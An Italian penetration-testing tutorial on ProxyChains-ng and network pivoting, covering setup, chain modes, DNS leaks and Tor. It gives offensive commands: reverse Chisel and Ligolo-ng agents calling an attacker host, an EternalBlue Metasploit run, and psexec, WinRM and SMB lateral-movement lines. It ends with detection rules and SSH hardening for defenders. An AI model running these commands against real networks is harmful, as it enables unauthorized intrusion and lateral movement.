ProxyChains: Guida a Kali Linux, SOCKS5, Nmap e Pivoting

Installa e configura ProxyChains: proxychains.conf, SOCKS5, catene strict e dynamic, DNS leak, Tor, Nmap, tunneling, pivoting, Windows e tecniche avanzate.
- Pubblicato il 2026-02-07
- Tempo di lettura: 14 min
ProxyChains su Kali Linux: guida completa a catene di proxy, SOCKS5 e pivoting #
ProxyChains, cercato spesso anche come proxychain o proxy chains, nella versione mantenuta si chiama ProxyChains-ng e usa il comando proxychains4. È un wrapper che costringe un programma TCP a passare da uno o più proxy SOCKS4, SOCKS5 o HTTP, anche se il programma non sa cosa sia un proxy: lo scrivi davanti al comando e basta.
Nel pentest lo usiamo per due cose. La prima è raggiungere una rete interna passando da una macchina compromessa (pivoting). La seconda è creare una catena di proxy (proxy chaining) per cambiare l’IP di partenza del traffico, per esempio con Tor.
Qui trovi un tutorial rapido, l’installazione di ProxyChains su Kali Linux, la configurazione del file proxychains.conf, le modalità strict_chain, dynamic_chain e random_chain, come ottenere un proxy SOCKS5 da ogni tipo di accesso (SSH, Chisel, Meterpreter, C2), una tabella dei tool che funzionano e di quelli che non funzionano, il DNS leak, ProxyChains per Windows, le alternative e come difendersi.
Quick start: setup e tutorial di ProxyChains in 4 comandi #
Setup rapido, dal pivot al primo comando:
# 1. Install ProxyChains-ng
sudo apt install proxychains4
# 2. Open a SOCKS5 proxy on 127.0.0.1:1080 through the pivot
ssh -D 1080 -N -f user@10.10.10.50
# 3. Point ProxyChains to it (replaces the default Tor line at the end of the file)
sudo sed -i 's/^socks4.*9050$/socks5 127.0.0.1 1080/' /etc/proxychains4.conf
# 4. Run any TCP tool through the proxy and check the exit IP
proxychains4 curl ifconfig.meSe il quarto comando restituisce l’IP del pivot e non il tuo, funziona. Il resto dell’articolo spiega ogni pezzo e cosa fare quando non va.
Cos’è ProxyChains e come funziona #
ProxyChains usa LD_PRELOAD, un meccanismo di Linux che carica una libreria prima di quelle del programma. Quella libreria sostituisce la funzione connect() e quelle di risoluzione dei nomi: quando il programma prova ad aprire una connessione, ProxyChains la intercetta e la manda al primo proxy della lista. Il proxy la inoltra al successivo, fino alla destinazione.
Il programma non si accorge di nulla, per questo funziona con tool che non hanno nessuna opzione proxy.
Il limite è lo stesso meccanismo: ProxyChains-ng intercetta le funzioni di libreria nei programmi collegati dinamicamente. Non funziona con i binari statici e con i programmi che non passano da quelle funzioni. I programmi in Go sono il caso più comune, perché di solito parlano con il sistema senza passare dalla libc. In questi casi il traffico può uscire diretto, senza nessun errore: nella sezione sui tool trovi la tabella con l’alternativa per ciascuno.
Dove si colloca in MITRE ATT&CK. La tecnica è T1090 (Proxy), nella tattica Command and Control, con le sottotecniche T1090.001 (Internal Proxy) e T1090.003 (Multi-hop Proxy). In pratica ProxyChains lo usi durante il lateral movement, l’exfiltration o l’accesso a reti interne, ma la classificazione è quella.
Come installare ProxyChains su Kali Linux e su Linux (download da GitHub) #
Su Kali il pacchetto è nei repository, e lo stesso comando funziona su Debian e Ubuntu:
sudo apt install proxychains4
which proxychains4Il download ufficiale di ProxyChains-ng è il repository GitHub proxychains-ng . Per compilarlo dal sorgente su Linux:
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
sudo make install-configCon il pacchetto di Kali il file di configurazione è /etc/proxychains4.conf, con la compilazione da sorgente è /etc/proxychains.conf. Cambia solo il nome.
Come impostare un proxy su Kali Linux (senza ProxyChains) #
ProxyChains non è l’unico modo di usare un proxy su Kali Linux. Se ti serve solo che il terminale, apt o il browser passino da un proxy, basta impostarlo di sistema:
# Proxy for the current terminal session (HTTP proxy and SOCKS5)
export http_proxy="http://192.168.1.50:8080"
export https_proxy="http://192.168.1.50:8080"
export all_proxy="socks5h://127.0.0.1:1080"
# Remove it
unset http_proxy https_proxy all_proxy
# Proxy for apt
echo 'Acquire::http::Proxy "http://192.168.1.50:8080";' | sudo tee /etc/apt/apt.conf.d/95proxy
# Keep the variables when using sudo
sudo -E curl ifconfig.meDifferenza pratica: le variabili d’ambiente valgono solo per i programmi che le leggono (curl, wget, git, pip, apt), molti tool di pentest le ignorano. ProxyChains invece forza il proxy anche a chi non lo supporta, come Nmap con -sT, ssh o xfreerdp.
Configurare ProxyChains: il file proxychains.conf #
ProxyChains cerca la configurazione in quest’ordine e usa la prima che trova:
- la variabile
PROXYCHAINS_SOCKS5(solo la porta di un SOCKS5 locale) - la variabile
PROXYCHAINS_CONF_FILEo l’opzione-f ./proxychains.confnella cartella corrente~/.proxychains/proxychains.conf- il file di sistema in
/etc
Quindi puoi lavorare senza toccare niente:
# Only the local SOCKS5 port, no config file at all
PROXYCHAINS_SOCKS5=1080 proxychains4 curl ifconfig.me
# One config file per engagement
cp /etc/proxychains4.conf ./target-a.conf
proxychains4 -f ./target-a.conf nmap -sT -Pn -n 172.16.0.10Un file di configurazione pulito, pronto da usare per un pivot SSH:
dynamic_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
localnet 127.0.0.0/255.0.0.0
[ProxyList]
socks5 127.0.0.1 1080Le opzioni che contano:
| Opzione | Cosa fa |
|---|---|
strict_chain / dynamic_chain / random_chain | Modalità della catena, ne attivi una sola |
proxy_dns | Fa risolvere i nomi dal proxy invece che dal tuo PC |
remote_dns_subnet | Intervallo degli indirizzi finti che usa proxy_dns |
tcp_connect_time_out / tcp_read_time_out | Attese in millisecondi, da alzare con proxy lenti |
chain_len | Con random_chain, quanti proxy usa per connessione |
localnet | Reti che escono diretto, senza proxy |
quiet_mode | Toglie le righe [proxychains] dall’output (come -q) |
[ProxyList] | La lista dei proxy, uno per riga |
Due errori classici. Il file di Kali ha già in fondo una riga per Tor (socks4 127.0.0.1 9050): se non la togli e Tor è spento, ogni comando fallisce. E le credenziali del proxy si scrivono in chiaro (socks5 IP porta utente password): non riusare password importanti.
Proxy Chaining: strict_chain, dynamic_chain e random_chain #
Si attiva una modalità sola, le altre restano commentate con #.
strict_chain: usa tutti i proxy, nell’ordine esatto. Se uno è spento la connessione fallisce. Il significato è: catena rigida. È la modalità di default di Kali.
dynamic_chain: salta i proxy spenti e usa quelli che funzionano, sempre nell’ordine. Il significato è: catena dinamica. Comoda nei pentest, ma se alcuni proxy vengono saltati usi meno hop di quelli che pensavi: non è la scelta giusta quando l’obiettivo è l’anonimato.
random_chain: sceglie proxy a caso dalla lista a ogni connessione, e con chain_len decidi quanti usarne. Il significato è: catena casuale.
Come concatenare più proxy (how to chain proxies), davvero. Il primo proxy lo raggiunge ProxyChains dal tuo PC, quindi può essere locale. Ogni proxy successivo viene contattato dal proxy precedente, quindi il suo indirizzo deve essere raggiungibile da lì. Questa lista non fa quello che sembra:
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 9050Il secondo 127.0.0.1 è il localhost del primo proxy, non il tuo. Una catena vera:
[ProxyList]
socks5 127.0.0.1 1080
socks5 10.10.10.60 1080Traffico: tuo PC → tunnel SSH locale → pivot → secondo proxy 10.10.10.60, che deve essere visibile dal pivot. Il target finale vede solo l’IP dell’ultimo proxy.
ProxyChains: configurare SOCKS5, SOCKS4 e proxy HTTP #
Il formato di ogni riga è tipo IP porta [utente password]:
[ProxyList]
socks5 127.0.0.1 1080
socks4 127.0.0.1 9050
http 192.168.1.50 8080- SOCKS5: il più comodo, supporta anche la risoluzione dei nomi dal proxy. È quello di
ssh -D, di Chisel e del modulo SOCKS di Metasploit. - SOCKS4: più vecchio, senza nomi di dominio (solo IP).
- HTTP: funziona solo se il proxy accetta il metodo
CONNECT. Un esempio reale di accesso così è un Squid configurato male, trovi il caso in Squid porta 3128 .
Come ottenere un proxy SOCKS5: cheat sheet per ogni tipo di accesso #
ProxyChains ha bisogno di un proxy. Questi sono i modi più comuni per averlo, in base a cosa hai sul pivot.
SSH (il più semplice se hai credenziali):
# Local SOCKS5 on 1080 through the pivot
ssh -D 1080 -N -f user@10.10.10.50
# Through two hops: jump over the first host, SOCKS5 opened on the second
ssh -J user@10.10.10.50 -D 1080 -N -f user2@172.16.0.10
# Local port forward (single service instead of a full proxy)
ssh -L 8080:172.16.0.10:80 -N -f user@10.10.10.50Chisel (se hai solo accesso HTTP/HTTPS in uscita dal pivot):
# On your Kali
./chisel server --reverse -p 8000
# On the pivot: opens SOCKS5 on 127.0.0.1:1080 on your Kali
./chisel client 10.10.14.5:8000 R:socksGuida completa: Chisel .
Meterpreter (hai già una sessione):
run autoroute -s 172.16.0.0/24
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -jCobalt Strike e Sliver: dalla sessione del beacon apri un proxy SOCKS sul team server (con Cobalt Strike il comando è socks 1080, con Sliver socks5 start) e punti proxychains.conf all’indirizzo e alla porta che il C2 ti mostra. Guide: Cobalt Strike
, Sliver
.
Pivot Windows senza tool esterni (LOLBin): con netsh inoltri una porta dal pivot verso un host interno, senza portare nessun binario:
:: Needs an elevated prompt on the pivot
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.10
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0Non è un SOCKS, è un inoltro di una singola porta: serve per raggiungere un servizio, non per scansionare. Se vuoi una rete intera dietro un’interfaccia, vedi SSHuttle o Ligolo-ng . La teoria generale è nella guida al pivoting .
Come usare ProxyChains con Nmap #
Scansione di una rete interna dal pivot:
proxychains4 nmap -sT -Pn -n -p 21,22,80,443,445,3389 172.16.0.0/24| Opzione | Funziona via proxy? | Note |
|---|---|---|
-sT (TCP connect) | Sì | L’unica scansione di porte affidabile |
-sS, -sA, -sF, -sX | No | Usano pacchetti raw, ProxyChains non li vede |
-sU | No | UDP non è supportato |
-Pn | Obbligatorio | Senza, il ping fa credere che gli host siano spenti |
-sn (ping scan) | No | ICMP non passa dai proxy SOCKS |
-O (OS detection) | No | Richiede pacchetti raw |
-sV | Sì, ma lento | Ogni probe è una connessione |
-sC / --script | Sì, con le connessioni TCP | Funziona, con i tempi del proxy |
-n | Consigliato | Evita risoluzioni DNS inutili |
Perché Nmap è lento con ProxyChains. Ogni porta è una connessione TCP che attraversa tutta la catena: più hop hai, più il tempo cresce. Parti da pochi parametri e regola in base a latenza e risposte:
proxychains4 nmap -sT -Pn -n \
--top-ports 100 --max-parallelism 10 \
172.16.0.10Se i risultati sono incoerenti (porte che compaiono e spariscono), il proxy è sovraccarico: abbassa la parallelizzazione, alza tcp_connect_time_out e tcp_read_time_out nel file e usa --max-retries 2. Alzare troppo il parallelismo con un proxy lento peggiora i risultati.
Nmap ha anche l’opzione --proxies, ma accetta solo proxy HTTP e SOCKS4, è limitata e non copre tutte le fasi di una scansione: non è un’alternativa completa a ProxyChains. Per la guida agli switch: Nmap
.
Esempi di ProxyChains: tool che funzionano e tool che non funzionano #
Esempi di comandi che funzionano (programmi dinamici che usano le funzioni di sistema):
# Web and HTTP
proxychains4 curl ifconfig.me
proxychains4 wget http://172.16.0.10:8080/file.txt
proxychains4 firefox
# Remote access
proxychains4 ssh user@172.16.0.10
proxychains4 xfreerdp /v:172.16.0.10 /u:admin /p:'Password1'
proxychains4 evil-winrm -i 172.16.0.10 -u admin -p 'Password1'
# SMB, AD and Impacket
proxychains4 nxc smb 172.16.0.0/24 -u admin -p 'Password1'
proxychains4 smbclient -L //172.16.0.10 -U admin
proxychains4 impacket-psexec CORP/admin:'Password1'@172.16.0.10
proxychains4 bloodhound-python -u admin -p 'Password1' -d corp.local -ns 172.16.0.10 -c All
# Databases
proxychains4 mysql -h 172.16.0.30 -u root -p
proxychains4 sqsh -S 172.16.0.30 -U sa -P 'DBpassword1'Guide: NetExec , Impacket , BloodHound , Evil-WinRM .
Non funzionano o escono diretti, e cosa usare al loro posto:
| Tool | Problema | Alternativa |
|---|---|---|
ping, traceroute | ICMP, non TCP | Prova la porta con proxychains4 nc -zv IP 445 |
nmap -sS, -sU, -O | Pacchetti raw | nmap -sT -Pn |
masscan | Pacchetti raw | Scansione dal pivot o interfaccia TUN con Ligolo-ng |
ffuf | Programma in Go | ffuf -x socks5://127.0.0.1:1080 |
gobuster | Programma in Go | gobuster dir --proxy socks5://127.0.0.1:1080 |
feroxbuster | Programma in Rust | feroxbuster --proxy socks5://127.0.0.1:1080 |
nuclei | Programma in Go | nuclei -proxy socks5://127.0.0.1:1080 |
sqlmap | Ha un’opzione sua | sqlmap --proxy="socks5://127.0.0.1:1080" |
hydra | Ha una variabile sua | HYDRA_PROXY=socks5://127.0.0.1:1080 hydra ... |
git | Ha un’opzione sua | git config --global http.proxy socks5h://127.0.0.1:1080 |
Binari statici, chisel, ligolo | Non usano la libc | Non servono: sono loro i tunnel |
sudo davanti al comando | sudo azzera LD_PRELOAD | sudo proxychains4 comando |
Se un tool non è in questa tabella e non sei sicuro che passi dal proxy, verificalo: lancia proxychains4 tool verso un target tuo e guarda se compaiono le righe [proxychains]. Se non ci sono, il traffico sta uscendo diretto.
Trucchi utili:
# Proxy a whole shell: every command you run inside inherits ProxyChains
proxychains4 -q bash
# Same, but for a one-off command without the [proxychains] lines
proxychains4 -q curl ifconfig.me
# Test the proxy without ProxyChains (name resolved BY the proxy)
curl --socks5-hostname 127.0.0.1:1080 http://internal.target
# SSH through an existing SOCKS5, without ProxyChains
ssh -o ProxyCommand="nc -X 5 -x 127.0.0.1:1080 %h %p" user@172.16.0.10
# Ncat through a SOCKS5
ncat --proxy 127.0.0.1:1080 --proxy-type socks5 172.16.0.10 445Con Burp Suite conviene impostare il proxy SOCKS direttamente nelle opzioni di connessione di Burp, invece di lanciarlo con ProxyChains.
DNS con ProxyChains: proxy_dns e DNS leak #
Il DNS leak è il caso in cui le richieste DNS escono dal tuo PC invece che dal proxy, e il resolver locale vede quali nomi cerchi. Il significato è: fuga delle richieste DNS.
Con proxy_dns attivo ProxyChains intercetta la risoluzione, restituisce al programma un indirizzo finto (nell’intervallo di remote_dns_subnet) e fa risolvere il nome vero dal proxy quando apre la connessione.
proxy_dns
remote_dns_subnet 224Senza questa opzione il nome lo risolve il tuo PC: se è interno (dc01.corp.local) non si risolve e il tool fallisce, se è pubblico fai leak.
Come verificare:
# Terminal 1: watch DNS leaving your interface
sudo tcpdump -ni eth0 udp port 53
# Terminal 2: resolve a name through ProxyChains
proxychains4 curl http://example.comSe in tcpdump non compare niente, il DNS non sta uscendo dal tuo PC. proxychains4 curl ifconfig.me ti dice l’IP che vede il target, ma da solo non prova che il DNS sia protetto. Teoria del protocollo: DNS
. Per leggere il traffico: Wireshark
e tcpdump
.
ProxyChains con Tor #
Tor apre un proxy SOCKS locale sulla porta 9050:
sudo systemctl start tordynamic_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 9050proxychains4 curl ifconfig.meL’IP che torna è quello di un nodo di uscita di Tor. Tor nasconde il tuo IP, non rende anonimo ciò che fai: se ti logghi con un tuo account o lasci identificatori nel traffico, l’anonimato è finito. Scansioni aggressive via Tor sono lente, poco corrette verso chi gestisce i nodi e spesso bloccate.
Tor più pivot SSH. Qui si sbaglia di solito: Tor non può raggiungere il tuo 127.0.0.1:1080, per lui è il suo localhost. Si fa in due passi: apri il tunnel SSH passando da Tor, poi usi il SOCKS che nasce da quel tunnel.
# Step 1: reach the pivot through Tor (tor.conf contains only socks5 127.0.0.1 9050)
proxychains4 -f tor.conf ssh -D 1080 -N -f user@203.0.113.50
# Step 2: use the SOCKS5 created by the tunnel (pivot.conf contains only socks5 127.0.0.1 1080)
proxychains4 -f pivot.conf nmap -sT -Pn -n 172.16.0.10Traffico: tuo PC → Tor → pivot SSH → rete interna.
ProxyChains vs Tor vs torsocks #
| Strumento | A cosa serve | Note |
|---|---|---|
| ProxyChains | Instradare qualsiasi tool TCP da qualsiasi proxy | Flessibile, ma se un tool non passa dalle funzioni intercettate il traffico esce diretto |
| Tor | Rete di anonimato con proxy SOCKS su 9050 | Lenta, non è un tunnel verso reti interne |
torsocks | Wrapper pensato solo per Tor | Rifiuta il traffico UDP e fa passare il DNS da Tor, più prudente per l’anonimato |
Per pivoting e pentest, ProxyChains. Per navigare o fare recon passando solo da Tor, valuta torsocks.
ProxyChains su Windows: alternative e configurazione #
ProxyChains-ng non esiste in versione ufficiale per Windows: si basa su LD_PRELOAD, che è di Linux. Le strade:
1. WSL (la più semplice). Dentro WSL installi e usi ProxyChains come su Kali, ma funziona solo per i programmi che girano dentro WSL, non per quelli di Windows:
# Inside WSL (Kali or Ubuntu)
sudo apt install proxychains4 openssh-client
ssh -D 1080 -N -f user@10.10.10.50
echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains4.conf
proxychains4 nmap -sT -Pn -n 172.16.0.10Ricordati di togliere o commentare la riga Tor di default, come su Kali.
2. proxychains-windows . Port della community, non ufficiale, basato su MinHook e iniezione di DLL. Funziona con alcuni programmi e con altri no, quindi provalo su un lab prima di usarlo in un ingaggio.
3. Proxifier. Programma commerciale con interfaccia grafica: forza le app Windows a passare da un proxy con regole per programma.
4. Tunnel dedicati. Chisel e Ligolo-ng hanno l’agent anche per Windows e non richiedono un wrapper.
| Metodo | Programmi coperti | Quando usarlo |
|---|---|---|
WSL + proxychains4 | Solo quelli dentro WSL | Tool Linux da Windows |
| proxychains-windows | App Windows, con limiti | Prove su un lab |
| Proxifier | App Windows | Uso quotidiano con interfaccia |
| Chisel / Ligolo-ng | Tutta la rete | Pivoting vero e proprio |
Alternative a ProxyChains su Linux #
redsocks: crea un proxy trasparente con regoleiptables, senza scrivereproxychains4davanti ai comandi.graftcp: reindirizza il traffico TCP anche dei programmi in Go, dove ProxyChains non funziona.torsocks: wrapper solo per Tor.- Ligolo-ng: crea un’interfaccia di rete virtuale (TUN), così i tool girano senza nessun wrapper.
Quando ProxyChains non basta: Ligolo-ng e myligolo #
ProxyChains va scritto davanti a ogni comando, non vede i programmi statici o in Go, non porta ping e scansioni SYN, ed è lento. Ligolo-ng
risolve tutto con un’interfaccia TUN: nmap, NetExec e ssh girano come se fossi dentro la rete, senza niente davanti al comando.
myligolo è il nostro launcher open source in Python (solo libreria standard) che prepara tutto in un comando: github.com/hack-ita/myligolo .
Come funziona, passo per passo:
- Crea le interfacce TUN: fino a 10, chiamate
ligolo,ligolo2,ligolo3, fino aligolo10. Quelle già esistenti le salta, quindi per un double pivot non devi ricrearle. - Controlla che
ligolo-proxysia nelPATH: se non c’è, ti dice dove scaricarlo. - Avvia il proxy con
ligolo-proxy -selfcert -laddr 0.0.0.0:<porta>, di default sulla 11601. - Stampa i comandi giusti: quelli da dare nella console del proxy (
session,start), leip routeverso la rete interna e verso il Magic IP240.0.0.1(che porta al localhost dell’agent), e il comando dell’agent da incollare sul target, con la tua porta già dentro.
git clone https://github.com/hack-ita/myligolo
cd myligolo
# Default port 11601
sudo python3 myligolo.py
# Custom port
sudo python3 myligolo.py 4444Poi, nella console del proxy, session e start; in un altro terminale la route verso la rete interna, e sul target l’agent:
# On your Kali
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 240.0.0.1/32 dev ligolo
# On the target
./agent -connect 10.10.14.5:11601 -ignore-certPer un secondo pivot su un’altra rete usi la seconda interfaccia, già pronta:
tunnel_start --tun ligolo2sudo ip route add 192.168.1.0/24 dev ligolo2| Criterio | ProxyChains | SSHuttle | Chisel | Ligolo-ng |
|---|---|---|---|---|
| Come porta il traffico | Wrapper su ogni comando | Regole di routing | Tunnel HTTP/WebSocket con SOCKS5 | Interfaccia TUN |
| Concatenare più proxy | Sì | No | No | Sì, con double pivot |
| Tool Go e statici | Non funzionano | Funzionano | Funzionano | Funzionano |
| Ping e scansioni SYN | No | Limitato | No | Limitato |
| Configurazione | Media | Bassa | Media | Bassa con myligolo |
Se ti serve un SOCKS veloce da ssh -D o devi concatenare più proxy, ProxyChains. Se lavori a lungo dentro una rete e vuoi i tool senza wrapper, Ligolo-ng con myligolo.
Lista di proxy: perché evitare i proxy gratuiti #
Online trovi liste di proxy gratuiti da incollare in [ProxyList]. Evitale in un ingaggio: chi gestisce il proxy vede il traffico non cifrato, può modificarlo, e molti sono honeypot o finiscono subito in blacklist. Se ti serve un proxy, usa un server tuo (una VPS con ssh -D), non una lista pubblica.
Scenari pratici di pentest #
Scenario 1: enumerazione Active Directory attraverso un pivot SSH #
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 nxc smb 172.16.0.0/24Output atteso:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.0.10:445 ... OK
SMB 172.16.0.10 445 DC01 [*] Windows Server 2019 Build 17763Connection refusedsu ogni host: il tunnel SSH è caduto. Controlla conss -tlnp | grep 1080e riaprilo.- Tutti gli host filtrati: dal pivot la 445 è bloccata. Prova 5985 (WinRM) o 3389 (RDP).
Scenario 2: Metasploit attraverso il proxy #
Il modo più pulito è usare il proxy dentro il modulo, senza avviare msfconsole con ProxyChains:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.16.0.20
set Proxies socks5:127.0.0.1:1080
set PAYLOAD windows/x64/meterpreter/bind_tcp
runUsa un payload bind_tcp: un reverse_tcp proverebbe a chiamare il tuo IP, che dalla rete interna non è raggiungibile. Se invece usi proxychains4 msfconsole, funziona per le connessioni in uscita ma è meno pulito.
Scenario 3: applicazione web interna con Firefox #
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 firefoxApri http://172.16.0.10:8080. Se Firefox non parte o non carica, imposta il proxy SOCKS5 127.0.0.1:1080 dalle sue impostazioni, con “Proxy DNS quando si usa SOCKS v5” attivo.
Scenario 4: dal recon al database, passando da Tor e dal pivot #
# Recon through Tor only
proxychains4 -f tor.conf theHarvester -d target.com -l 200 -b all
# After initial access on 10.10.10.50: open the tunnel
ssh -D 1080 -N -f user@10.10.10.50
# Internal discovery through the pivot
proxychains4 -f pivot.conf nmap -sT -Pn -n -p 1433,3306,5432 172.16.0.0/24
# Database found on 172.16.0.30:1433
proxychains4 -f pivot.conf sqsh -S 172.16.0.30 -U sa -P 'DBpassword1'Per mantenere l’accesso sul pivot vedi Crontab , per i salti successivi il lateral movement .
ProxyChains non funziona: errori e soluzioni #
| Problema | Causa | Soluzione |
|---|---|---|
Connection refused su ogni target | Tunnel SSH caduto, o riga Tor di default ancora nella lista | ss -tlnp | grep 1080 e togli le righe che non usi |
timeout continui | Proxy lento o target non raggiungibile | curl --socks5-hostname 127.0.0.1:1080 http://target e alza tcp_connect_time_out |
| Il tool esce con il tuo IP vero | Il tool non passa dalle funzioni intercettate | Opzione proxy del tool, graftcp o Ligolo-ng |
proxychains4 sudo comando non funziona | sudo azzera LD_PRELOAD | sudo proxychains4 comando |
| Nmap mostra tutto filtrato | Stai usando -sS | -sT -Pn |
| Il nome non si risolve | proxy_dns disattivato | Attiva proxy_dns |
| Risultati incoerenti con Nmap | Troppa parallelizzazione sul proxy | Abbassa --max-parallelism |
Errore LD_PRELOAD | Libreria non trovata | Reinstalla il pacchetto e controlla il file di configurazione |
FAQ #
ProxyChains funziona con UDP? No, solo TCP. Il DNS funziona con un trucco: proxy_dns intercetta la richiesta del nome e la fa risolvere al proxy, non converte il traffico UDP.
Quale modalità devo usare? dynamic_chain per il pentest operativo. Se vuoi sempre tutti gli hop, strict_chain.
ProxyChains rende anonimi? Nasconde il tuo IP al target, ma non rende anonimo ciò che fai. Dipende dai proxy che usi.
Differenza tra ProxyChains e ProxyChains-ng? Il primo è il progetto originale, non più mantenuto. ProxyChains-ng (comando proxychains4) è la versione attiva.
Come uso ProxyChains con curl? proxychains4 curl ifconfig.me, oppure senza ProxyChains curl --socks5-hostname 127.0.0.1:1080 URL.
ProxyChains è più veloce di SSHuttle? In genere no: SSHuttle lavora a livello di routing. ProxyChains è più flessibile per le catene.
Posso aggiungere Ngrok alla catena? Sì, se ti dà un endpoint proxy raggiungibile.
Come testo che funziona? proxychains4 curl ifconfig.me e controlli che l’IP sia quello del proxy.
Cheat sheet #
| Azione | Comando |
|---|---|
| Installa su Kali | sudo apt install proxychains4 |
| SOCKS5 con SSH | ssh -D 1080 -N -f user@host |
| Comando dal proxy | proxychains4 comando |
| Solo la porta, senza file | PROXYCHAINS_SOCKS5=1080 proxychains4 comando |
| File dedicato | proxychains4 -f operazione.conf comando |
| Shell intera dal proxy | proxychains4 -q bash |
| Nmap | proxychains4 nmap -sT -Pn -n -p 445 172.16.0.0/24 |
| NetExec | proxychains4 nxc smb 172.16.0.0/24 |
| Tor | sudo systemctl start tor e riga socks5 127.0.0.1 9050 |
| IP in uscita | proxychains4 curl ifconfig.me |
| Con sudo | sudo proxychains4 comando |
| Chiudi il tunnel SSH | kill $(pgrep -f "ssh -D 1080") |
Come difendersi dal proxy chaining e dal pivoting #
ProxyChains gira tutto sulla macchina dell’attaccante: sul target non lascia nessun artefatto. Quello che il blue team può vedere è il tunnel e il traffico che ci passa dentro.
Cosa cercare:
- processi
sshcon-D,-Lo-Rsulla riga di comando, e sessioni SSH lunghe da server che non dovrebbero fare tunnel - un host interno che apre connessioni verso molti IP e molte porte in poco tempo (una scansione fatta dal pivot)
- picchi di traffico in uscita da un host che di solito ne genera poco
- log del firewall con un solo host che parla con molti altri su porte come 445, 5985, 3389
- su Windows, le regole di
netsh interface portproxy, che si leggono connetsh interface portproxy show alle sono salvate nella chiave di registroHKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp - su Windows, gli eventi 4624 e 4625 da soli non identificano ProxyChains: vanno correlati con log SSH, processi e telemetria di rete
Una regola Sigma di partenza per l’apertura di un proxy SOCKS con SSH:
title: SSH Dynamic Port Forwarding Started
status: experimental
description: Detects ssh started with the -D option, used to open a local SOCKS proxy
author: Hackita
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/ssh'
CommandLine|contains: ' -D '
condition: selection
falsepositives:
- Administrators using SSH dynamic forwarding for legitimate work
level: mediumCome ridurre il rischio:
# /etc/ssh/sshd_config
AllowTcpForwarding no
GatewayPorts no
PermitTunnel noCon AllowTcpForwarding no blocchi il forwarding di SSH, ma non è una barriera completa: chi ha già una shell può portare un suo tunnel. Per questo servono anche gli altri controlli:
- filtra il traffico in uscita dai server: devono parlare solo con ciò che serve
- segmenta la rete, così un pivot non vede tutto
- limita con
PermitOpenle destinazioni consentite dove il forwarding serve davvero - monitora le porte dei proxy più comuni (1080, 9050) sugli host interni
- tieni un inventario dei server con SSH esposto, che sono il punto di partenza più comune di un pivot
Usa queste tecniche solo su sistemi che sei autorizzato a testare: l’accesso non autorizzato a un sistema informatico è un reato.




